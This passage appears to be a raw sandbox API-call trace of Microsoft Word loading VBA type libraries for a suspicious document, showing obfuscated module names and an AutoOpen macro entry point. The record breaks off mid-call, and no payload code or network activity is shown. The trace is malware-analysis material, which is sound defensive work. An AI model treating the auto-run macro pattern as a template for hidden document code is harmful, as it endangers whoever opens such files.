strcpy_s (in: _Dst=0x3075e0, _DstSize=0xa, _Src="_Evaluate" | out: _Dst="_Evaluate") returned 0x0 [0018.393] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3075e0, cbMultiByte=10, lpWideCharStr=0x307430, cchWideChar=10 | out: lpWideCharStr="_Evaluate") returned 10 [0018.393] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.393] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x307500, pBstrLibName=0x307430 | out: pfName=0x307500*=0, pBstrLibName=0x307430) returned 0x0 [0018.393] IUnknown:Release (This=0x7919520) returned 0x3 [0018.393] IUnknown:AddRef (This=0x7346470) returned 0x6 [0018.393] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x307500, pBstrLibName=0x307430 | out: pfName=0x307500*=0, pBstrLibName=0x307430) returned 0x0 [0018.393] IUnknown:Release (This=0x7346470) returned 0x5 [0018.393] IUnknown:AddRef (This=0x7345930) returned 0x6 [0018.393] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_Evaluate", lHashVal=0x10d918, pfName=0x307500, pBstrLibName=0x307430 | out: pfName=0x307500*=0, pBstrLibName=0x307430) returned 0x0 [0018.393] IUnknown:Release (This=0x7345930) returned 0x5 [0018.394] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c020 [0018.394] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c260 [0018.394] wcsncpy_s (in: _Destination=0x307650, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.394] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307580, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.394] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.394] CExposedDocFile::CreateStream () returned 0x0 [0018.394] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x420) returned 0xbb68a00 [0018.394] CExposedStream::AddRef () returned 0x2 [0018.394] CExposedStream::Release () returned 0x1 [0018.394] CExposedStream::Release () returned 0x0 [0018.394] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb68a00) [0018.394] CExposedDocFile::AddRef () returned 0x3 [0018.397] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x307fb8*=0x0 | out: pptlib=0x307fb8*=0x7919ac0) returned 0x0 [0018.398] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x307c48*=0x0 | out: pptlib=0x307c48*=0x7919ac0) returned 0x0 [0018.398] ITypeLib:RemoteGetDocumentation (in: This=0x7919ac0, index=-1, refPtrFlags=0x307c68, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0018.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x307b50, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0018.398] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0018.398] IUnknown:QueryInterface (in: This=0x7919ac0, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307b28 | out: ppvObject=0x307b28*=0x0) returned 0x80004002 [0018.398] GetLocalTime (in: lpSystemTime=0x3079d0 | out: lpSystemTime=0x3079d0*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2b6)) [0018.398] wcsncpy_s (in: _Destination=0x307680, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.398] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x3075b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.398] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.398] GetLocalTime (in: lpSystemTime=0x307870 | out: lpSystemTime=0x307870*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x12, wSecond=0x2, wMilliseconds=0x2b6)) [0018.398] wcsncpy_s (in: _Destination=0x307520, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0x0 [0018.398] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", cchLength=0x29 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc") returned 0x29 [0018.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", cchWideChar=42, lpMultiByteStr=0x307450, cbMultiByte=84, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\ihknzkjo.doc", lpUsedDefaultChar=0x0) returned 42 [0018.398] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CNormal") returned -11 [0018.398] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\ihknzkjo.doc") returned 0 [0018.398] IUnknown:QueryInterface (in: This=0x7919ac0, riid=0x7fef1056290*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307a58 | out: ppvObject=0x307a58*=0x0) returned 0x80004002 [0018.398] ITypeLib:RemoteGetLibAttr (in: This=0x7919ac0, ppTLibAttr=0x307a50, pDummy=0x10 | out: ppTLibAttr=0x307a50, pDummy=0x10) returned 0x0 [0018.398] ITypeLib:RemoteGetDocumentation (in: This=0x7919ac0, index=-1, refPtrFlags=0x0, pbstrName=0x307a48, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000 | out: pbstrName=0x307a48*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x100000000) returned 0x0 [0018.398] StringFromGUID2 (in: rguid=0x75c9470*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0x307a70, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0018.398] _ultow_s (in: _Value=0x2, _Buffer=0x3079ba, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0018.398] _ultow_s (in: _Value=0x8, _Buffer=0x3079be, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0018.398] _ultow_s (in: _Value=0x0, _Buffer=0x3079c2, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0018.398] wcscpy_s (in: _Destination=0x2d14f08, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0018.398] wcscpy_s (in: _Destination=0x2d14f0e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0018.398] wcscpy_s (in: _Destination=0x2d14f5a, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0018.398] wcscpy_s (in: _Destination=0x2d14f68, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0018.398] wcscpy_s (in: _Destination=0x2d14fe8, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0018.398] ITypeLib:LocalReleaseTLibAttr (This=0x7919ac0) returned 0x0 [0018.398] wcscpy_s (in: _Destination=0xbb7f998, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.398] ITypeLib:RemoteGetDocumentation (in: This=0x7919ac0, index=-1, refPtrFlags=0x307b68, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x1) returned 0x0 [0018.398] SysStringLen (param_1="Office") returned 0x6 [0018.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0018.398] SysStringLen (param_1="Office") returned 0x6 [0018.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x781fb98, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0018.399] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0018.399] strcpy_s (in: _Dst=0x307960, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0018.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x307960, cbMultiByte=7, lpWideCharStr=0x3077b0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0018.399] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.399] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="Office", lHashVal=0x107515, pfName=0x307880, pBstrLibName=0x3077b0 | out: pfName=0x307880*=0, pBstrLibName=0x3077b0) returned 0x0 [0018.399] IUnknown:Release (This=0x7919520) returned 0x3 [0018.399] IUnknown:AddRef (This=0x7346470) returned 0x8 [0018.399] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="Office", lHashVal=0x107515, pfName=0x307880, pBstrLibName=0x3077b0 | out: pfName=0x307880*=0, pBstrLibName=0x3077b0) returned 0x0 [0018.399] IUnknown:Release (This=0x7346470) returned 0x7 [0018.399] IUnknown:AddRef (This=0x7345930) returned 0x6 [0018.399] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="Office", lHashVal=0x107515, pfName=0x307880, pBstrLibName=0x3077b0 | out: pfName=0x307880*=0, pBstrLibName=0x3077b0) returned 0x0 [0018.399] IUnknown:Release (This=0x7345930) returned 0x5 [0018.399] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x3c) returned 0x79ae980 [0018.399] IMalloc:Free (This=0x7fefe9e5380, pv=0xbafd2a0) [0018.399] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781bea0 [0018.399] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ae980) [0018.399] wcsncpy_s (in: _Destination=0x307760, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0018.399] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0018.399] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12a) returned 0xbb109b0 [0018.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0xbb109b0, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0018.399] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb109b0) [0018.399] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0018.399] wcsncpy_s (in: _Destination=0x307760, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.399] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307690, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.399] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.399] IUnknown:AddRef (This=0x7919ac0) returned 0x4 [0018.399] IUnknown:QueryInterface (in: This=0x7919ac0, riid=0x7fef10564b8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307b88 | out: ppvObject=0x307b88*=0x0) returned 0x80004002 [0018.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0x307b50, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0018.399] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Office") returned 0x107515 [0018.399] IUnknown:Release (This=0x7919ac0) returned 0x3 [0018.399] IUnknown:Release (This=0x7919ac0) returned 0x2 [0018.399] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.400] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=7, lpWideCharStr=0x781fb98, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.400] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa8) returned 0x7a25720 [0018.400] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x7f40) returned 0xbb47a60 [0018.400] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x75ee110 [0018.400] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x60) returned 0xbafd380 [0018.402] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x307de0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0018.402] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.402] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x20) returned 0x781c0e0 [0018.402] qsort (in: _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28 | out: _Base=0x781c0e0) [0018.402] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0018.402] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="wTvKzqFRU", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 3 [0018.402] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="sApJzDAat", cchCount1=-1, lpString2="wTvKzqFRU", cchCount2=-1) returned 1 [0018.403] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0018.403] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="sApJzDAat", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 1 [0018.403] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 1 [0018.403] bsearch (_Key=0x306d18, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x781c0f0 [0018.403] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 3 [0018.403] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisDocument", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 2 [0018.403] IUnknown:AddRef (This=0x7919520) returned 0x4 [0018.403] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="VBA", cchCount1=3, lpString2="Normal", cchCount2=6) returned 3 [0018.403] IUnknown:AddRef (This=0x7346470) returned 0x8 [0018.403] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Word", cchCount1=4, lpString2="Normal", cchCount2=6) returned 3 [0018.403] IUnknown:AddRef (This=0x7345930) returned 0x6 [0018.403] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="stdole", cchCount1=6, lpString2="Normal", cchCount2=6) returned 3 [0018.403] wcsncpy_s (in: _Destination=0x307720, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0018.403] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0018.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x307650, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0018.403] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0018.404] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0018.404] SysStringByteLen (bstr="潎浲污") returned 0x6 [0018.404] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=7, lpWideCharStr=0x781fb98, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0018.404] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="Normal", cchCount1=6, lpString2="Normal", cchCount2=6) returned 2 [0018.404] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0018.405] IMalloc:Free (This=0x7fefe9e5380, pv=0x75e1c50) [0018.406] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.406] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=8, lpWideCharStr=0x781fb98, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0018.406] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0018.406] SysStringByteLen (bstr="牐橯捥t") returned 0x7 [0018.406] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x781bea8, cbMultiByte=8, lpWideCharStr=0x75c9478, cchWideChar=8 | out: lpWideCharStr="Project") returned 8 [0018.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project", cchWideChar=-1, lpMultiByteStr=0x307b20, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project", lpUsedDefaultChar=0x0) returned 8 [0018.406] lstrlenA (lpString="Project") returned 7 [0018.406] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa8) returned 0x7a25880 [0018.406] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x75e1c50 [0018.406] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x60) returned 0xbafd460 [0018.407] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xa8) returned 0x7a25930 [0018.407] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x30) returned 0x75ebe10 [0018.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PZuISOiIa", cchWideChar=10, lpMultiByteStr=0x307d80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PZuISOiIa", lpUsedDefaultChar=0x0) returned 10 [0018.408] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.408] bsearch (_Key=0x306cb8, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x781c0e0 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 1 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="PZuISOiIa", cchCount2=-1) returned 2 [0018.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wTvKzqFRU", cchWideChar=10, lpMultiByteStr=0x307d80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wTvKzqFRU", lpUsedDefaultChar=0x0) returned 10 [0018.408] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="wTvKzqFRU") returned 0x10e931 [0018.408] bsearch (_Key=0x306cb8, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x781c0f8 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="wTvKzqFRU", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 3 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="wTvKzqFRU", cchCount1=-1, lpString2="ThisDocument", cchCount2=-1) returned 3 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="wTvKzqFRU", cchCount1=-1, lpString2="wTvKzqFRU", cchCount2=-1) returned 2 [0018.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sApJzDAat", cchWideChar=10, lpMultiByteStr=0x307d80, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sApJzDAat", lpUsedDefaultChar=0x0) returned 10 [0018.408] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="sApJzDAat") returned 0x10b09f [0018.408] bsearch (_Key=0x306cb8, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x781c0e8 [0018.408] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="sApJzDAat", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 2 [0018.413] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x1c) returned 0x781c320 [0018.413] strncpy_s (in: _Dst=0x781c320, _DstSize=0x1c, _Src="Project.PZuISOiIa.AutoOpen", _MaxCount=0x1a | out: _Dst="Project.PZuISOiIa.AutoOpen") returned 0x0 [0018.413] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Project") returned 0x10ae2d [0018.413] bsearch (_Key=0x306f78, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x0 [0018.413] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 1 [0018.413] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="PZuISOiIa", cchCount2=-1) returned 1 [0018.413] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Project", cchCount1=-1, lpString2="Project", cchCount2=-1) returned 2 [0018.413] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="PZuISOiIa") returned 0x10d0db [0018.413] bsearch (_Key=0x306f78, _Base=0x781c0e0, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef0d7ce28) returned 0x781c0e0 [0018.413] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="sApJzDAat", cchCount2=-1) returned 1 [0018.413] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="PZuISOiIa", cchCount1=-1, lpString2="PZuISOiIa", cchCount2=-1) returned 2 [0018.413] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="AutoOpen") returned 0x102ad9 [0018.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="025bf1acda", cchWideChar=11, lpMultiByteStr=0x307330, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="025bf1acda", lpUsedDefaultChar=0x0) returned 11 [0018.414] GetLocalTime (in: lpSystemTime=0x307418 | out: lpSystemTime=0x307418*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, 